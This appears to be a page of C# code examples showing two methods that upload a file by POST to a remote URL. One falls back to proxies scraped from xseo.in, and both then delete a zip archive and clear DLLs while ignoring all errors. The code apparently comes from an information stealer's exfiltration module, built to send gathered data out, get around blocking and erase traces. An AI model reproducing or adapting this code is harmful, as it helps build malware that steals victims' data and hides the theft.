示例#1
0
 private static void ProxyStarted(Uri link, string method, string filename, bool True = true)
 {
     ProxyGrabber.Parse("http://xseo.in/freeproxy");
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 client.Proxy = new WebProxy(ProxyGrabber.builder.ToString());
                 client.UploadFile(link, method, filename);
                 CombineEx.DeleteFile(GlobalPath.ZipAdd);
                 Ccleaner.ClearDll();
             }
         }
     }
     catch (WebException) { }
     catch (UriFormatException) { }
 }
示例#2
0
 public static void Inizialize(Uri url, string method, string filename, bool status = true)
 {
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 try
                 {
                     client.UploadFile(url, method, filename);
                     CombineEx.DeleteFile(GlobalPath.ZipAdd);
                     Ccleaner.ClearDll();
                 }
                 catch (WebException) { ProxyStarted(url, method, filename); }
                 catch (UriFormatException) { }
             }
         }
     }
     catch (WebException) { ProxyStarted(url, method, filename); }
 }